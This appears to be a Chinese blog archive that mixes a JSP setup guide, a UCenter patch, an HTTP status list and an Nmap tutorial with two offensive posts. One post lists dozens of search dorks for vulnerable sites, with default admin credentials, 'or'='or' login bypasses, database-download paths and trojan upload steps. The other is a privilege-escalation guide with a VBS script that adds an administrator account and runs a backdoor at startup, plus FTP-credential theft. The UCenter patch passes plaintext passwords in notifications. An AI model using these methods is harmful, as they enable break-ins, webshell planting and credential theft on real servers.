[转]在Win7上搭建JSP开发环境

May 28th, 2014 § 0 comments § permalink

原出处:http://www.cppblog.com/fenglin/articles/126330.html
1、准备工作
下载JDK最新安装程序:http://www.oracle.com/technetwork/java/javase/downloads/index.html
下载Apache Tomcat :http://tomcat.apache.org/
下载开发环境:http://www.eclipse.org/downloads/

2、开始安装JDK
A、看提示一步一步前进就行,注意记下JDK与JRE的安装路径。
B、配置环境变量:
B.1、 新增用户变量JAVA_HOME,变量值为D:\Program Files\Java\jdk1.6.0_21(你自己的JDK安装路径)
B.2、新增用户变量JRE_HOME,变量值为D:\Program Files\Java\jre6(你自己的JRE安装路径)
B.3、新增系统变量ClassPath,变量值为D:\Program Files\Java\jdk1.6.0_21\lib\dt.jar;D:\Program Files\Java\jdk1.6.0_21\lib\tools.jar;D:\Program Files\Java\jdk1.6.0_21\bin;.;(相应路径修改成你自己的,最后是一个点一个分号,表示当前路径)
B.4、编辑系统变量PATH,在变量值末尾增加;D:\Program Files\Java\jdk1.6.0_21;D:\Program Files\Java\jdk1.6.0_21\bin;(相应路径修改成自己实际的)
B.5、重启计算机,使设置的环境变量生效。
B.6、新建一个JAVA程序测试环境是否可以正常使用。
//java文件的文件名叫hello.java
public class hello{
public static void main(String arg[]){
System.out.print("Hi! JAVA!");
}
}

运行CMD.EXE,在命令行里进入到hello.java文件的保存路径,然后输入命令:
javac hello.java 回车
如果正常的话,是没有任何内容显示的,但会在同一目录下编译成一个hello.class的文件,接下来再运行下面指令:
java hello 回车
如果正常的话,则会显示"Hi! JAVA!"的字符在屏幕上,这就代表你的java环境没有问题了,可以进行下一步的工作。

3、安装Apache Tomcat
将下载下来的Apache Tomcat解压缩,执行apache-tomcat\bin里的startup.bat启动Apache,成功后在浏览器里打开如下地址:

http://localhost:8080

如果启动成功就会打开一个欢迎页面,上面有些说明,你可以按说明进行相应的设置。

下面我们写一个JSP页面测试一下是否可以正常解析:
< %@ page language="java" contentType="text/html;charset=gb2312"%>
< %
out.print("我爱jsp!");
%>
将此文件保存到apache-tomcat\webapps\ROOT文件夹,名称为test.jsp,在浏览器里打开:http://localhost:8080/love.jsp,如果解析正常,则会输出:我爱jsp!

执行apache-tomcat\bin里的shutdown.bat停止Apache。

4、配置Eclipse开发环境
将下载下来的Eclipse包解压缩,双击打开eclipse.exe,打开菜单Window-Preferences,在左边的选择卡里选择Server,选择Runtime Environment,单击Add,按步骤说明配置好你的服务器。

5、完成环境搭配,如有问题,请留言。

11.07

November 7th, 2013 § 0 comments § permalink

快到年末了

[转]UCenter修改密码时通知其它应用的密码为空的处理方法

August 5th, 2013 § 0 comments § permalink

现象:修改密码时,UCenter通知其它应用的密码为空。
解释:UCenter原始程序在修改密码时,其实并没有对密码进行同步传递,看uc_client源码发现,Discuz! 接收的同步密码也只是随机生成的字符串。可能是为了安全或某种原因!
解决:对UCenter的服务器端(uc_server)程序进行修改,添加密码的同步通知!具体操作如下:
1、UCenter后台更改密码后的通知程序:uc_server\control\admin\user.php,将其中的以下代码:
$_ENV['note']->add('updatepw', 'username='.urlencode($username).'&password=');
修改为:
$_ENV['note']->add('updatepw', 'username='.urlencode($username).'&password='.$orgpassword);
2、UC通知程序:uc_server\control\user.php,将其中的以下代码:
$_ENV['note']->add('updatepw', 'username='.urlencode($username).'&password=');
修改为:
$_ENV['note']->add('updatepw', 'username='.urlencode($username).'&password='.$newpw);
另外,如果是在应用里修改密码,而应用程序使用独立用户数据库,则需要修改ucenter客户端(uc_client)的相应代码:
打开 uc_client\control\user.php 查找
$_ENV['note']->add('updatepw', 'username='.urlencode($username).'&password=');
修改为:
$_ENV['note']->add('updatepw', 'username='.urlencode($username).'&password='.$newpw);

删除用户返回用户名
修改 model\user.php 154行更改为
function delete_user($uidsarr) {
$uidsarr = (array)$uidsarr;
if(!$uidsarr) {
return 0;
}
$uids = $this->base->implode($uidsarr);
$arr = $this->db->fetch_all("SELECT uid FROM ".UC_DBTABLEPRE."protectedmembers WHERE uid IN ($uids)");
$puids = array();
foreach((array)$arr as $member) {
$puids[] = $member['uid'];
}
$uids = $this->base->implode(array_diff($uidsarr, $puids));
if($uids) {
//新增 传递用户名
$arrmember = $this->db->fetch_all("SELECT username FROM ".UC_DBTABLEPRE."members WHERE uid IN ($uids)");
$pusernames = array();
foreach((array)$arrmember as $member) {
$pusernames[] = $member['username'];
}
$usernames = $this->base->implode($pusernames);
echo $uids;
echo $usernames;
//结束
$this->db->query("DELETE FROM ".UC_DBTABLEPRE."members WHERE uid IN($uids)");
$this->db->query("DELETE FROM ".UC_DBTABLEPRE."memberfields WHERE uid IN($uids)");
$this->delete_useravatar($uidsarr);
$this->base->load('note');
//$_ENV['note']->add('deleteuser', "ids=$uids");
//新增 传递用户名
$_ENV['note']->add('deleteuser', "ids=$uids".'&usernames='.urlencode($usernames));
//结束
return $this->db->affected_rows();
} else {
return 0;
}
}
论坛修改
uc_client\model\user.php 154行更改为
function delete_user($uidsarr) {
$uidsarr = (array)$uidsarr;
if(!$uidsarr) {
return 0;
}
$uids = $this->base->implode($uidsarr);
$arr = $this->db->fetch_all("SELECT uid FROM ".UC_DBTABLEPRE."protectedmembers WHERE uid IN ($uids)");
$puids = array();
foreach((array)$arr as $member) {
$puids[] = $member['uid'];
}
$uids = $this->base->implode(array_diff($uidsarr, $puids));
if($uids) {
//新增 传递用户名
$arrmember = $this->db->fetch_all("SELECT username FROM ".UC_DBTABLEPRE."members WHERE uid IN ($uids)");
$pusernames = array();
foreach((array)$arrmember as $member) {
$pusernames[] = $member['username'];
}
$usernames = $this->base->implode($pusernames);
echo $uids;
echo $usernames;
//结束
$this->db->query("DELETE FROM ".UC_DBTABLEPRE."members WHERE uid IN($uids)");
$this->db->query("DELETE FROM ".UC_DBTABLEPRE."memberfields WHERE uid IN($uids)");
uc_user_deleteavatar($uidsarr);
$this->base->load('note');
//$_ENV['note']->add('deleteuser', "ids=$uids");
//新增 传递用户名
$_ENV['note']->add('deleteuser', "ids=$uids".'&usernames='.urlencode($usernames));
//结束
return $this->db->affected_rows();
} else {
return 0;
}
}

网站漏洞关键字整理

May 18th, 2013 § 0 comments § permalink

黑客常常利用这些漏洞,切入进行攻击,所以在程序员在开发的时候要多注意..

1,
到 GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为 MSSQL 数据库!

2,
到 Google ,site:cq.cn inurl:asp

http://skyf.org/wp/wp-admin/post.php?post=865&action=edit#

3,
利用挖掘鸡和一个 ASP 木马.
文件名是 login.asp
路径组是/manage/
关键词是 went.asp
用'or'='or'来登陆

以下内容需要回复才能看到
4,
关键字:Co Net MIB Ver 1.0 网站后台管理系统

帐号密码为 'or'='or'

5.
动感购物系统
inurl:help.asp 登陆,如未注册成为会员!

upLoad_bm1.asp 和 upLoad_c1.asp 这两个随便选个,一般管理员都忽视了这 2 漏洞

6。
默认数据库地址 blogdata/acblog.asa
关键字:acblog

7.
百度 /htdocs
注册里可以直接上传 asa 文件!

8.
/Database/#newasp.mdb
关键词:NewAsp SiteManageSystem Version

9.
用挖掘机
关键字:Powered by WEBBOY
页面:/upfile.asp
10.
baidu 中搜索关键字 Ver5.0 Build 0519
(存在上传漏洞)

11.
Upfile_Article.asp bbs/upfile.asp
输入关键字:powered by mypower ,

12.
inurl:winnt\system32\inetsrv\ 在 google 里面输入这个就可以找到很多网站

13.
现在 GOOGLE 搜索关键字 intitle:网站小助手 inurl:asp

14.
键字: 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采装备购买 站内流
言 友情连接 本站论坛

挖掘鸡的关键字 添 setup.asp

15.
VBulletin 论坛的数据库
默认数据库地址!
/includes/functions.php
工具:
1.网站猎手 下载地址:百度 Google!
2.Google
关键字:
Powered by: vBulletin Version 3.0.1
Powered by: vBulletin Version 3.0.2
Powered by: vBulletin Version 3.0.3
其中一个就可以了

16.
1.打开百度或 GOOGLE 搜索,输入 powered by comersus ASP shopping cart
open source。 这是一个商场系统。
2.网站的最底部分,有个 Comersus Open Technologies LC。打开看下~~comersus 系统~
猜到,comersus.mdb. 是数据库名
数据库都是放在 database/ 后的,
所以 database/comersus.mdb
comersus_listCategoriesTree.asp 换成 database/comersus.mdb,不能下载。
那样把前一个''store/''除去,再加上 database/comersus.mdb 试试

17.
无忧传奇官方站点程序。
1、后台管理地址:http://您的域名/msmiradmin/
2、默认后台管理帐号:msmir
3、默认后台管理密码:msmirmsmir
数据库文件为 http://您的域名/msmirdata/msmirArticle.mdb
数据库连接文件为 ***********/Conn.asp

18.
百度里输入/skins/default/

19.
利用挖掘机
关键机:power by Discuz
路径:/wish.php
配合:
Discuz!论坛 wish.php 远程包含漏洞 工具使用

20.
上传漏洞.
工具 : Domain3.5
网站猎手 1.5 版
关键字 powered by mypower
检测的页面或文件插入 upfile_photo.asp

21.
新云漏洞
这个漏洞 ACCESS 和 SQL 版通吃。
Google 搜索关键字 "关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地
图 - 管理登录"
把 flash/downfile.asp?url=uploadfile/../../conn.asp 提交到网站根目录。就可以下载
conn.asp
以源码,软件等下载站居多。
大家时常碰到数据库如果前面或者中间+了# 可以用%23 替换就可以下载了
\database\%23newasp.mdb
如:#xzws.mdb 改成%23xzws.mdb

22.
通吃所有商城+动力上传系统

使用工具:挖掘鸡 v1.1 明小子
商城入侵:
关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线
支付或下单后汇款->汇款确认->发货->完成
漏洞页面:upload.asp
upfile_flash.asp

动力入侵:
关键字:powered by mypower
漏洞页面:upfile_photo.asp
Upfile_Soft.asp
upfile_adpic.asp
upfile_softpic.asp

23.
注射漏洞
百度搜索:oioj's blog

24
动易
列目录
admin_articlerecyclebin.asp
inurl:admin_articlerecyclebin.asp

25.
工具:网站猎手
关键词:inurl:Went.asp
后缀:manage/login.asp
口令:'or'='or'

26.
入侵魔兽***学盟禁止字符***
需要的工具:ASP 木马一只。
Domain3.5 明小子
关键字:All Right Reserved Design:游戏联盟
后台地址:admin/login.asp
数据库的地址:chngame/#chngame.mdb

27.
漏洞是利用管理员 iis 设置的失误
用 baidu 关键字就是比较罕见的脚本名
动网: ReloadForumCache.asp
Leadbbs: makealltopanc.asp
BBSXP: admin_fso.asp
动易: admin_articlerecyclebin.asp

28.
国外站的爆库漏洞
关键字:sad Raven's Guestbook
密码地址:/passwd.dat
后台地址:/admin.php

29.
Discuz 4.1.0 跨站漏洞
利用工具:1,WAP 浏览器
2,WAP 编码转换器
关键字:"intext:Discuz! 4.1.0"

30.
关键字:尚奈克斯
后台路径/system/manage.asp
直接传 ASP 木马

31.
工具
1:网站猎手
2:大马一个
关键字:切勿关闭 Cookies 功能,否则您将不能登录
插入 diy.asp

32.
关键字:Team5 Studio All rights reserved
默认数据库:data/team.mdb

33.
工具: 挖掘机辅臣数据库读取器
关键字: 企业简介 产品展示产品列表
后缀添加: /database/myszw.mdb
后台地址: admin/Login.asp

34.
关键子 XXX inurl:Nclass.asp
在"系统设置"里写个木马。
会被保存到 在 config.asp 内。

35.
不进后台照样拿动网 WEBSHELL
data.asp?action=BackupData 动网数据库备份默认路径

36.
工具:网站猎手 WebShell
关键字:inurl:Went.asp
后缀:manage/login.asp
弱口令:'or'='or'

37.
关键字:Powered by:QCDN_NEWS
随便扫遍文章加一个' ,来试探注入点
后台地址:admin_index.asp

38.
入侵雷池新闻发布系统
关键字:leichinews
去掉 leichinews 后面的.
打上:admin/uploadPic.asp?actionType=mod&picName=xuanran.asp
再上传马.....
进访问 uppic anran.asp 登陆马.

39.
关键字:Power System Of Article Management Ver 3.0 Build 20030628
默认数据库:database\yiuwekdsodksldfslwifds.mdb
后台地址:自己扫描!

40.
一、通过 GOOGLE 搜索找大量注入点
关键字:asp?id=1 gov.jp/ asp?id=
页数:100
语言:想入侵哪个国家就填什么语言吧

41.
关键字:Powered by:94KKBBS 2005
利用密码找回功能 找回 admin
提问:ddddd 回答:ddddd

42.
关键字:inurl:Went.asp
后台为 manage/login.asp
后台密码: 'or'=' 或者 'or''=''or' 登录 进入
默认数据库地址:Database/DataShop.mdb

43.
关键字:****** inurl:readnews.asp
把最后一个/改成%5c ,直接暴库,看密码,进后台
随便添加个新闻 在标题输入我们的一句话木马

44.
工具:一句话木马
BBsXp 5.0 sp1 管理员猜解器
关键词:powered by bbsxp5.00
进后台,备份一句话马!

45.
关键字:程序核心:BJXSHOP 网上开店专家
后台:/admin

HTTP状态码 汇总

May 12th, 2013 § 0 comments § permalink

常见HTTP状态码

状态代码 状态信息 含义
100 Continue 初始的请求已经接受,客户应当继续发送请求的其余部分。(HTTP 1.1新)
101 Switching Protocols 服务器将遵从客户的请求转换到另外一种协议(HTTP 1.1新)
200 OK 一切正常,对GET和POST请求的应答文档跟在后面。
201 Created 服务器已经创建了文档,Location头给出了它的URL。
202 Accepted 已经接受请求,但处理尚未完成。
203 Non-Authoritative Information 文档已经正常地返回,但一些应答头可能不正确,因为使用的是文档的拷贝(HTTP 1.1新)。
204 No Content 没有新文档,浏览器应该继续显示原来的文档。如果用户定期地刷新页面,而Servlet可以确定用户文档足够新,这个状态代码是很有用的。
205 Reset Content 没有新的内容,但浏览器应该重置它所显示的内容。用来强制浏览器清除表单输入内容(HTTP 1.1新)。
206 Partial Content 客户发送了一个带有Range头的GET请求,服务器完成了它(HTTP 1.1新)。
300 Multiple Choices 客户请求的文档可以在多个位置找到,这些位置已经在返回的文档内列出。如果服务器要提出优先选择,则应该在Location应答头指明。
301 Moved Permanently 客户请求的文档在其他地方,新的URL在Location头中给出,浏览器应该自动地访问新的URL。
302 Found 类似于301,但新的URL应该被视为临时性的替代,而不是永久性的。注意,在HTTP1.0中对应的状态信息是“Moved Temporatily”。出现该状态代码时,浏览器能够自动访问新的URL,因此它是一个很有用的状态代码。注意这个状态代码有时候可以和301替换使用。例如,如果浏览器错误地请求http://host/~user(缺少了后面的斜杠),有的服务器 返回301,有的则返回302。严格地说,我们只能假定只有当原来的请求是GET时浏览器才会自动重定向。请参见307。
303 See Other 类似于301/302,不同之处在于,如果原来的请求是POST,Location头指定的重定向目标文档应该通过GET提取(HTTP 1.1新)。
304 Not Modified 客户端有缓冲的文档并发出了一个条件性的请求(一般是提供If-Modified-Since头表示客户只想比指定日期更新的文档)。服务器告 诉客户,原来缓冲的文档还可以继续使用。
305 Use Proxy 客户请求的文档应该通过Location头所指明的代理服务器提取(HTTP 1.1新)。
307 Temporary Redirect 和302 (Found)相同。许多浏览器会错误地响应302应答进行重定向,即使原来的请求是POST,即使它实际上只能在POST请求的应答是303时才能重定 向。由于这个原因,HTTP 1.1新增了307,以便更加清除地区分几个状态代码:当出现303应答时,浏览器可以跟随重定向的GET和POST请求;如果是307应答,则浏览器只 能跟随对GET请求的重定向。(HTTP 1.1新)
400 Bad Request 请求出现语法错误。
401 Unauthorized 客户试图未经授权访问受密码保护的页面。应答中会包含一个WWW-Authenticate头,浏览器据此显示用户名字/密码对话框,然后在填 写合适的Authorization头后再次发出请求。
403 Forbidden 资源不可用。服务器理解客户的请求,但拒绝处理它。通常由于服务器上文件或目录的权限设置导致。
404 Not Found 无法找到指定位置的资源。这也是一个常用的应答。
405 Method Not Allowed 请求方法(GET、POST、HEAD、DELETE、PUT、TRACE等)对指定的资源不适用。(HTTP 1.1新)
406 Not Acceptable 指定的资源已经找到,但它的MIME类型和客户在Accpet头中所指定的不兼容(HTTP 1.1新)。
407 Proxy Authentication Required 类似于401,表示客户必须先经过代理服务器的授权。(HTTP 1.1新)
408 Request Timeout 在服务器许可的等待时间内,客户一直没有发出任何请求。客户可以在以后重复同一请求。(HTTP 1.1新)
409 Conflict 通常和PUT请求有关。由于请求和资源的当前状态相冲突,因此请求不能成功。(HTTP 1.1新)
410 Gone 所请求的文档已经不再可用,而且服务器不知道应该重定向到哪一个地址。它和404的不同在于,返回407表示文档永久地离开了指定的位置,而 404表示由于未知的原因文档不可用。(HTTP 1.1新)
411 Length Required 服务器不能处理请求,除非客户发送一个Content-Length头。(HTTP 1.1新)
412 Precondition Failed 请求头中指定的一些前提条件失败(HTTP 1.1新)。
413 Request Entity Too Large 目标文档的大小超过服务器当前愿意处理的大小。如果服务器认为自己能够稍后再处理该请求,则应该提供一个Retry-After头(HTTP 1.1新)。
414 Request URI Too Long URI太长(HTTP 1.1新)。
416 Requested Range Not Satisfiable 服务器不能满足客户在请求中指定的Range头。(HTTP 1.1新)
500 Internal Server Error 服务器遇到了意料不到的情况,不能完成客户的请求。
501 Not Implemented 服务器不支持实现请求所需要的功能。例如,客户发出了一个服务器不支持的PUT请求。
502 Bad Gateway 服务器作为网关或者代理时,为了完成请求访问下一个服务器,但该服务器返回了非法的应答。
503 Service Unavailable 服务器由于维护或者负载过重未能应答。例如,Servlet可能在数据库连接池已满的情况下返回503。服务器返回503时可以提供一个 Retry-After头。
504 Gateway Timeout 由作为代理或网关的服务器使用,表示不能及时地从远程服务器获得应答。(HTTP 1.1新)
505 HTTP Version Not Supported 服务器不支持请求中所指明的HTTP版本。(HTTP 1.1新)

渗透测试工具Nmap从初级到高级

May 12th, 2013 § 0 comments § permalink

Nmap是一款网络扫描和主机检测的非常有用的工具。 Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。它可以适用于winodws,linux,mac等操作系统。Nmap是一款非常强大的实用工具,可用于:

检测活在网络上的主机(主机发现)
检测主机上开放的端口(端口发现或枚举)
检测到相应的端口(服务发现)的软件和版本
检测操作系统,硬件地址,以及软件版本
检测脆弱性的漏洞(Nmap的脚本)
Nmap是一个非常普遍的工具,它有命令行界面和图形用户界面。本人包括以下方面的内容:

介绍Nmap

扫描中的重要参数

操作系统检测

Nmap使用教程

Nmap使用不同的技术来执行扫描,包括:TCP的connect()扫描,TCP反向的ident扫描,FTP反弹扫描等。所有这些扫描的类型有自己的优点和缺点,我们接下来将讨论这些问题。

Nmap的使用取决于目标主机,因为有一个简单的(基本)扫描和预先扫描之间的差异。我们需要使用一些先进的技术来绕过防火墙和入侵检测/防御系统,以获得正确的结果。下面是一些基本的命令和它们的用法的例子:

扫描单一的一个主机,命令如下:

#nmap nxadmin.com

#nmap 192.168.1.2

扫描整个子网,命令如下:

#nmap 192.168.1.1/24

扫描多个目标,命令如下:

#nmap 192.168.1.2 192.168.1.5

扫描一个范围内的目标,如下:

#nmap 192.168.1.1-100 (扫描IP地址为192.168.1.1-192.168.1.100内的所有主机)

如果你有一个ip地址列表,将这个保存为一个txt文件,和namp在同一目录下,扫描这个txt内的所有主机,命令如下:

#nmap -iL target.txt

如果你想看到你扫描的所有主机的列表,用以下命令:

#nmap -sL 192.168.1.1/24

扫描除过某一个ip外的所有子网主机,命令:

#nmap 192.168.1.1/24 -exclude 192.168.1.1

扫描除过某一个文件中的ip外的子网主机命令

#nmap 192.168.1.1/24 -exclude file xxx.txt  (xxx.txt中的文件将会从扫描的主机中排除)

扫描特定主机上的80,21,23端口,命令如下

#nmap -p80,21,23 192.168.1.1
Nmap入侵扫描工具使用教程

从上面我们已经了解了Nmap的基础知识,下面我们深入的探讨一下Nmap的扫描技术.

Tcp SYN Scan (sS)

这是一个基本的扫描方式,它被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。这个就是SYN扫描的优势.

如果Nmap命令中没有指出扫描类型,默认的就是Tcp SYN.但是它需要root/administrator权限.

#nmap -sS 192.168.1.1

Tcp connect() scan(sT)

如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式.不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口.

#nmap -sT 192.168.1.1

Udp scan(sU)

顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.

#nmap -sU 192.168.1.1

FIN scan (sF)

有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手.

root@bt:~# nmap -sF 192.168.1.8

Starting Nmap 5.51  at 2012-07-08 19:21 PKT

Nmap scan report for 192.168.1.8

Host is up (0.000026s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

111/tcp open|filtered rpcbind

FIN扫描也不会在目标主机上创建日志(FIN扫描的优势之一).个类型的扫描都是具有差异性的,FIN扫描发送的包只包含FIN标识,NULL扫描不发送数据包上的任何字节,XMAS扫描发送FIN、PSH和URG标识的数据包.

PING Scan (sP)

PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.

#nmap -sP 192.168.1.1

版本检测(sV)

版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCP SYN扫描开放了哪些端口.

#nmap -sV 192.168.1.1

Idle scan (sL)

Idle scan是一种先进的扫描技术,它不是用你真实的主机Ip发送数据包,而是使用另外一个目标网络的主机发送数据包.

#nmap -sL 192.168.1.6 192.168.1.1

Idle scan是一种理想的匿名扫描技术,通过目标网络中的192.168.1.6向主机192.168.1.1发送数据,来获取192.168.1.1开放的端口

有需要其它的扫描技术,如 FTP bounce(FTP反弹), fragmentation scan(碎片扫描), IP protocol scan(IP协议扫描),以上讨论的是几种最主要的扫描方式.

Nmap的OS检测(O)

Nmap最重要的特点之一是能够远程检测操作系统和软件,Nmap的OS检测技术在渗透测试中用来了解远程主机的操作系统和软件是非常有用的,通过获取的信息你可以知道已知的漏洞。Nmap有一个名为的nmap-OS-DB数据库,该数据库包含超过2600操作系统的信息。 Nmap把TCP和UDP数据包发送到目标机器上,然后检查结果和数据库对照。

Initiating SYN Stealth Scan at 10:21
Scanning localhost (www.nxadmin.com) [1000 ports]
Discovered open port 111/tcp on www.nxadmin.com
Completed SYN Stealth Scan at 10:21, 0.08s elapsed (1000 total ports)
Initiating OS detection (try #1) against localhost (www.nxadmin.com)
Retrying OS detection (try #2) against localhost (www.nxadmin.com)

上面的例子清楚地表明,Nmap的首次发现开放的端口,然后发送数据包发现远程操作系统。操作系统检测参数是O(大写O)

Nmap使用从初级到高级

 

Nmap的操作系统指纹识别技术:

设备类型(路由器,工作组等)
运行(运行的操作系统)
操作系统的详细信息(操作系统的名称和版本)
网络距离(目标和攻击者之间的距离跳)

如果远程主机有防火墙,IDS和IPS系统,你可以使用-PN命令来确保不ping远程主机,因为有时候防火墙会组织掉ping请求.-PN命令告诉Nmap不用ping远程主机。

# nmap -O -PN 192.168.1.1/24

以上命令告诉发信主机远程主机是存活在网络上的,所以没有必要发送ping请求,使用-PN参数可以绕过PING命令,但是不影响主机的系统的发现.

Nmap的操作系统检测的基础是有开放和关闭的端口,如果OS scan无法检测到至少一个开放或者关闭的端口,会返回以下错误:

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS Scan的结果是不可靠的,因为没有发现至少一个开放或者关闭的端口.

Nmap扫描工具使用教程

 

这种情况是非常不理想的,应该是远程主机做了针对操作系统检测的防范。如果Nmap不能检测到远程操作系统类型,那么就没有必要使用-osscan_limit检测。

渗透测试工具Nmap使用

想好通过Nmap准确的检测到远程操作系统是比较困难的,需要使用到Nmap的猜测功能选项, –osscan-guess 猜测认为最接近目标的匹配操作系统类型。

# nmap -O –osscan-guess 192.168.1.1

总结

Nmap是一个非常强大的工具,它具有覆盖渗透测试的第一方面的能力,其中包括信息的收集和统计。本文从初级到高级的讲解了Nmap入侵扫描工具的使用.希望对大家有所帮助.

原文链接:http://resources.infosecinstitute.com/nmap/

E文水平非常一般,部分内容可能不甚准确,请大家参照原文阅读.

转载请注明:牛X阿德马 » http://www.nxadmin.com/tools/600.html

很经典的webshell提权

May 10th, 2013 § 0 comments § permalink

说到花了九牛二虎的力气获得了一个webshell,
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限
****************************************************************************
第一
如果服务器上有装了pcanywhere服务端,管理员为了管理方便
也给了我们方便,到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地
破解就使用pcanywhere连接就ok了
****************************************************************************
第二
有很多小黑问我这么把webshell的iis user权限提升
一般服务器的管理都是本机设计完毕然后上传到空间里,
那么就会用到ftp,服务器使用最多的就是servu
那么我们就利用servu来提升权限
通过servu提升权限需要servu安装目录可写~

好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,
启动servu添加了一个用户,设置为系统管理员,目录C:/,具有可执行权限
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。

用我新建的用户和密码连接~
好的,还是连上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id //刚才添加的用户
331 User name okay, please send complete E-mail address as password.
Password:password //密码
230 User logged in, proceed.
ftp> cd winnt //进入win2k的winnt目录
250 Directory changed to /WINNT
ftp>cd system32 //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe
文件加用户。

如果提示没有权限,那我们就
把后门(server.exe) 传他system32目录
然后写一个VBs教本
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)

存为xx.vbe
这个教本的作用是建立user用户密码为pass
并且提升为管理员
然后执行system32目录下的server.exe
把这个教本传他 C:/Documents and Settings/All Users/「开始」菜单/程序/启动
目录
这样管理员只要一登陆就会执行那个教本.
接下来就是等了.等他登陆.
****************************************************************************
第三
就是先检查有什么系统服务,或者随系统启动自动启动的程序和管理员经常使用的软件, 比如诺顿,VAdministrator,金山,瑞星,WinRAR甚至QQ之类的,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,然后还是等待服务器重启。
****************************************************************************
第四
查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所
收获等等。
****************************************************************************
第五
使用Flashfxp也能提升权限,但是成功率就看你自己的运气了
首先找到FlashFXP文件夹,打开(编辑)Sites. dat,这个文件这是什么东西密码和用户名,
而且密码是加了密的。 如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件。然后会发现 打开flashfxp在站点中打开站点管理器一样。又可以添加N多肉鸡啦~~嘻嘻~

唔??不对啊,是来提升权限的啊,晕,接着来别半途而废。
大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。经过用xp星号密码 查看器查看,然后和Sites.dat中加密了密码做比较发现并未加密而是查到的密码是明文显示, 然后最终把这个网站管理员的密码从这堆东西中找
出来。那么下一步就可以链接这些新的服务器啦~~
经过测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地
还原对方管理员的各个站点的密码。
****************************************************************************
第六

WIN2K+IIS5.0默认情况下应用程序保护选项是"中(共用的)",这时IIS加载isapi是用的
iwam_computername用户身份执行。
但默认情况下WIN2K+IIS5对于一些特殊isapi又要以system身份加载。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是简单的判断isapi的文件名,并且没有做目录限制,
以SYSTEM权限加载的isapi有:
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll

所以利用这很容易得到SYSTEM权限。并且判断文件名的时候有个bug,比如请求/scripts/test%81%5cssinc.dll也将会认为是请求的ssinc.dll,就是分离文件路径的时候没有考虑到双字节的 远东版问题。ssinc.dll在处理包含文件路径的时候也有一个问题,就是"/"、"/"只识别了一个 "/",所以如果请求里面使用"/",就会错误的处理包含文件路径,有可能泄露东西或者出现权限 漏洞,这种漏洞很多别的地方( php、asp等)也还存在。

加载这些isapi不是单以文件名做依据了,而是加了路径,应该是修正了此问题。
一般默认情况下是:
1、 idq.dll d:/winnt/system32/idq.dll
2、 httpext.dll d:/winnt/system32/inetsrv/httpext.dll
3、 httpodbc.dll d:/winnt/system32/inetsrv/httpodbc.dll
4、 ssinc.dll d:/winnt/system32/inrtsrv/ssinc.dll
5、 msw3prt.dll d:/winnt/system32/msw3prt.dll
6、 author.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/_vti_aut/author.dll
7、 admin.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/_vti_adm/admin.dll
8、 shtml.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/shtml.dll
9、 sspifilt.dll d:/winnt/system32/inetsrv/sspifilt.dll
10、compfilt.dll d:/winnt/system32/inetsrv/compfilt.dll
11、pwsdata.dll d:/winnt/system32/inetsrv/pwsdata.dll
12、md5filt.dll d:/winnt/system32/inetsrv/md5filt.dll
13、fpexedll.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/bin/fpexedll.dll

正常情况下这些路径都guest不能写,但如果配置不好,这些路径iis user能够写了就一样可以提升权限了

